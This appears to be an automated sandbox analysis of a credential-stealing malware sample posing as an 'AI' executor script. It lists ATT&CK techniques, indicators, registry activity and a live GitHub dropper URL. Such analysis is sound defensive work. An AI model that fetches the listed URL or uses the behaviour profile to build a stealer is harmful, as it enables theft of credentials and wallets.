ef81ac0d15b52e782d94a291b6b6541c64d5d09dad0be86cee462d8608527767

Analysis

max time kernel
747s
max time network
743s
platform
windows11-21h2_x64
resource
win11-20240709-en
resource tags

arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
submitted
26/07/2024, 13:16

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

Executor/Scorpix AI/Scorpix AI/AI.py
Size

1KB
MD5

a59bd19c247fad2e81999cccda24a143
SHA1

c1be586bfe4024759fa7a63b6ffe3f6792ed3aa1
SHA256

ab74799d9a03db16167adf36414f8a83bc66e8ce24221c050500167bf360a9fa
SHA512

059e674423a61ef622273a354f72ffafb989944f8ca667c430b49f8f5a5f410ec5873936531ba64eeb0649b2d41a7229e6020adcbf7d90ee72bcafc1c7b8ab9e

Score

10^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/booyaskas/Scorpoxe/releases/download/vypix/Scorpix.exe

Signatures

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 4 IoCs

flow	pid	Process
137	7080	powershell.exe
138	7080	powershell.exe
139	7360	powershell.exe
140	7360	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
7312	powershell.exe
2616	powershell.exe
3224	powershell.exe
6084	powershell.exe
7844	powershell.exe
3108	powershell.exe
5264	powershell.exe
228	powershell.exe
5828	powershell.exe
6400	powershell.exe
7080	powershell.exe
7360	powershell.exe
7880	powershell.exe
3448	powershell.exe

Drops file in Drivers directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Scorpix.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Scorpix.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 4 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
7976	cmd.exe
3900	powershell.exe
5888	cmd.exe
844	powershell.exe

Executes dropped EXE 8 IoCs

pid	Process
1920	bound.exe
6008	bound.exe
5856	rar.exe
7708	Scorpix.exe
5616	Scorpix.exe
8164	bound.exe
7600	bound.exe
6252	rar.exe

Loads dropped DLL 64 IoCs

pid	Process
1804	Scorpix.exe
1804	Scorpix.exe
1804	Scorpix.exe
1804	Scorpix.exe
1804	Scorpix.exe
1804	Scorpix.exe
1804	Scorpix.exe
1804	Scorpix.exe
1804	Scorpix.exe
1804	Scorpix.exe
1804	Scorpix.exe
1804	Scorpix.exe
1804	Scorpix.exe
1804	Scorpix.exe
1804	Scorpix.exe
1804	Scorpix.exe
1804	Scorpix.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/0x000100000002ab8c-513.dat	upx
behavioral3/memory/1804-517-0x00007FFE71AE0000-0x00007FFE71F4E000-memory.dmp	upx
behavioral3/files/0x000100000002ab7e-519.dat	upx
behavioral3/files/0x000100000002ab8a-521.dat	upx
behavioral3/files/0x000100000002ab89-527.dat	upx
behavioral3/files/0x000100000002ab85-541.dat	upx
behavioral3/files/0x000100000002ab84-540.dat	upx
behavioral3/files/0x000100000002ab83-539.dat	upx
behavioral3/files/0x000100000002ab82-538.dat	upx
behavioral3/files/0x000100000002ab81-537.dat	upx
behavioral3/files/0x000100000002ab80-536.dat	upx
behavioral3/files/0x000100000002ab7f-535.dat	upx
behavioral3/files/0x000100000002ab7d-534.dat	upx
behavioral3/files/0x000100000002ab91-533.dat	upx
behavioral3/files/0x000100000002ab90-532.dat	upx
behavioral3/files/0x000100000002ab8f-531.dat	upx
behavioral3/files/0x000100000002ab8b-528.dat	upx
behavioral3/memory/1804-524-0x00007FFE90250000-0x00007FFE9025F000-memory.dmp	upx
behavioral3/memory/1804-523-0x00007FFE90260000-0x00007FFE90284000-memory.dmp	upx
behavioral3/memory/1804-547-0x00007FFE87C80000-0x00007FFE87CAD000-memory.dmp	upx
behavioral3/memory/1804-549-0x00007FFE87990000-0x00007FFE879A9000-memory.dmp	upx
behavioral3/memory/1804-551-0x00007FFE878C0000-0x00007FFE878DF000-memory.dmp	upx
behavioral3/memory/1804-553-0x00007FFE760D0000-0x00007FFE76239000-memory.dmp	upx
behavioral3/memory/1804-555-0x00007FFE86D00000-0x00007FFE86D19000-memory.dmp	upx
behavioral3/memory/1804-557-0x00007FFE8F970000-0x00007FFE8F97D000-memory.dmp	upx
behavioral3/memory/1804-563-0x00007FFE80580000-0x00007FFE805AE000-memory.dmp	upx
behavioral3/memory/1804-562-0x00007FFE71AE0000-0x00007FFE71F4E000-memory.dmp	upx
behavioral3/memory/1804-564-0x00007FFE71A20000-0x00007FFE71AD7000-memory.dmp	upx
behavioral3/memory/1804-565-0x00007FFE716A0000-0x00007FFE71A17000-memory.dmp	upx
behavioral3/memory/1804-570-0x00007FFE90260000-0x00007FFE90284000-memory.dmp	upx
behavioral3/memory/1804-571-0x00007FFE8B3D0000-0x00007FFE8B3DD000-memory.dmp	upx
behavioral3/memory/1804-569-0x00007FFE864C0000-0x00007FFE864D4000-memory.dmp	upx
behavioral3/memory/1804-591-0x00007FFE6D560000-0x00007FFE6D678000-memory.dmp	upx
behavioral3/files/0x000100000002afd0-1349.dat	upx
behavioral3/memory/6008-1353-0x00007FFE6FA10000-0x00007FFE6FFF8000-memory.dmp	upx
behavioral3/memory/6008-1358-0x00007FFE87FC0000-0x00007FFE87FCF000-memory.dmp	upx
behavioral3/memory/6008-1357-0x00007FFE80550000-0x00007FFE80574000-memory.dmp	upx
behavioral3/memory/1804-1356-0x00007FFE87990000-0x00007FFE879A9000-memory.dmp	upx
behavioral3/memory/6008-1361-0x00007FFE7D0F0000-0x00007FFE7D11D000-memory.dmp	upx
behavioral3/memory/6008-1369-0x00007FFE6EBF0000-0x00007FFE6ECAC000-memory.dmp	upx
behavioral3/memory/6008-1368-0x00007FFE876B0000-0x00007FFE876BD000-memory.dmp	upx
behavioral3/memory/6008-1371-0x00007FFE76070000-0x00007FFE7609B000-memory.dmp	upx
behavioral3/memory/1804-1367-0x00007FFE86D00000-0x00007FFE86D19000-memory.dmp	upx
behavioral3/memory/6008-1366-0x00007FFE760A0000-0x00007FFE760CE000-memory.dmp	upx
behavioral3/memory/6008-1365-0x00007FFE87AF0000-0x00007FFE87AFD000-memory.dmp	upx
behavioral3/memory/6008-1364-0x00007FFE7C1B0000-0x00007FFE7C1C9000-memory.dmp	upx
behavioral3/memory/6008-1363-0x00007FFE7AC80000-0x00007FFE7ACB5000-memory.dmp	upx
behavioral3/memory/1804-1362-0x00007FFE760D0000-0x00007FFE76239000-memory.dmp	upx
behavioral3/memory/6008-1360-0x00007FFE7D120000-0x00007FFE7D139000-memory.dmp	upx
behavioral3/memory/1804-1359-0x00007FFE878C0000-0x00007FFE878DF000-memory.dmp	upx
behavioral3/memory/1804-1381-0x00007FFE71A20000-0x00007FFE71AD7000-memory.dmp	upx
behavioral3/memory/1804-1380-0x00007FFE80580000-0x00007FFE805AE000-memory.dmp	upx
behavioral3/memory/6008-1384-0x00007FFE6CCC0000-0x00007FFE6D035000-memory.dmp	upx
behavioral3/memory/6008-1383-0x00007FFE6E960000-0x00007FFE6E98E000-memory.dmp	upx
behavioral3/memory/1804-1382-0x00007FFE716A0000-0x00007FFE71A17000-memory.dmp	upx
behavioral3/memory/6008-1385-0x00007FFE6E8A0000-0x00007FFE6E958000-memory.dmp	upx
behavioral3/memory/6008-1388-0x00007FFE6E2F0000-0x00007FFE6E40C000-memory.dmp	upx
behavioral3/memory/6008-1386-0x00007FFE6E710000-0x00007FFE6E725000-memory.dmp	upx
behavioral3/memory/6008-1387-0x00007FFE6E6F0000-0x00007FFE6E702000-memory.dmp	upx
behavioral3/memory/6008-1493-0x00007FFE71290000-0x00007FFE7129B000-memory.dmp	upx
behavioral3/memory/6008-1501-0x00007FFE711E0000-0x00007FFE711EB000-memory.dmp	upx
behavioral3/memory/6008-1492-0x00007FFE712A0000-0x00007FFE712AC000-memory.dmp	upx
behavioral3/memory/6008-1491-0x00007FFE712B0000-0x00007FFE712BE000-memory.dmp	upx
behavioral3/memory/6008-1490-0x00007FFE712C0000-0x00007FFE712CC000-memory.dmp	upx

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
133	discord.com
136	discord.com
145	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
127	ip-api.com
133	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	\??\c:\windows\system32\driverstore\filerepository\display.inf_amd64_01cf530faf2f1752\display.PNF	chrome.exe
File created	C:\Windows\System32\DriverStore\FileRepository\display.inf_amd64_01cf530faf2f1752\display.PNF	chrome.exe

Enumerates processes with tasklist 1 TTPs 10 IoCs

discovery

Process Discovery

T1057

pid	Process
5700	tasklist.exe
6212	tasklist.exe
380	tasklist.exe
5004	tasklist.exe
4784	tasklist.exe
5452	tasklist.exe
5264	tasklist.exe
4328	tasklist.exe
5392	tasklist.exe
5684	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
7364	cmd.exe
5300	cmd.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setupact.log	UserOOBEBroker.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	UserOOBEBroker.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	UserOOBEBroker.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	UserOOBEBroker.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FileCoAuth.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
6956	PING.EXE
6600	cmd.exe
6864	PING.EXE
6824	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1880	cmd.exe
3460	netsh.exe
2724	cmd.exe
2212	netsh.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	Taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	Taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	Taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Taskmgr.exe

Detects videocard installed 1 TTPs 8 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4324	WMIC.exe
6344	WMIC.exe
4180	WMIC.exe
5736	WMIC.exe
5804	WMIC.exe
1128	WMIC.exe
5016	WMIC.exe
7324	WMIC.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Gathers system information 1 TTPs 2 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5168	systeminfo.exe
3856	systeminfo.exe

Kills process with taskkill 19 IoCs

evasion

pid	Process
7916	taskkill.exe
8060	taskkill.exe
2620	taskkill.exe
5356	taskkill.exe
5004	taskkill.exe
5644	taskkill.exe
5868	taskkill.exe
7696	taskkill.exe
7824	taskkill.exe
8068	taskkill.exe
5168	taskkill.exe
5800	taskkill.exe
2288	taskkill.exe
7956	taskkill.exe
3904	taskkill.exe
1240	taskkill.exe
4784	taskkill.exe
4948	taskkill.exe
4324	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133664734961098559"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel\WinPos1280x720x96(1).right = "1050"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\system32\colorcpl.exe,-6#immutable1 = "Color Management"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\devmgr.dll,-4#immutable1 = "Device Manager"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\systemcpl.dll,-1#immutable1 = "System"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\sdcpl.dll,-101#immutable1 = "Backup and Restore (Windows 7)"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\DiagCpl.dll,-15#immutable1 = "Troubleshoot and fix common computer problems."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\timedate.cpl,-51#immutable1 = "Date and Time"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\inetcpl.cpl,-4312#immutable1 = "Internet Options"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\timedate.cpl,-52#immutable1 = "Set the date, time, and time zone for your computer."	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\Rev = "0"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\sud.dll,-1#immutable1 = "Default Programs"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\srchadmin.dll,-602#immutable1 = "Change how Windows indexes to search faster"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\recovery.dll,-2#immutable1 = "Recovery"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\GroupView = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\GroupByDirection = "1"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel\WinPos1280x720x96(1).bottom = "646"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\sud.dll,-10#immutable1 = "Choose which programs you want Windows to use for activities like web browsing, editing photos, sending e-mail, and playing music."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\mmsys.cpl,-300#immutable1 = "Sound"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\main.cpl,-101#immutable1 = "Customize your mouse settings, such as the button configuration, double-click speed, mouse pointers, and motion speed."	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 03000000020000000000000001000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\MRUListEx = ffffffff	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\FFlags = "18874385"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\system32\appwiz.cpl,-159#immutable1 = "Programs and Features"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\netcenter.dll,-2#immutable1 = "Check network status, change network settings and set preferences for sharing files and printers."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\mmsys.cpl,-301#immutable1 = "Configure your audio devices or change the sound scheme for your computer."	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel\MaxPos1280x720x96(1).x = "4294967295"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000010000001800000030f125b7ef471a10a5f102608c9eebac0a00000000000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\0\MRUListEx = ffffffff	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\GroupByKey:PID = "0"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\Speech\SpeechUX\speechuxcpl.dll,-1#immutable1 = "Speech Recognition"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\autoplay.dll,-1#immutable1 = "AutoPlay"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202020202	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\accessibilitycpl.dll,-10#immutable1 = "Ease of Access Center"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\fvecpl.dll,-1#immutable1 = "BitLocker Drive Encryption"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\powercpl.dll,-2#immutable1 = "Conserve energy or maximize performance by choosing how your computer manages power."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\system32\appwiz.cpl,-160#immutable1 = "Uninstall or change programs on your computer."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\SyncCenter.dll,-3001#immutable1 = "Sync files between your computer and network folders"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8	explorer.exe
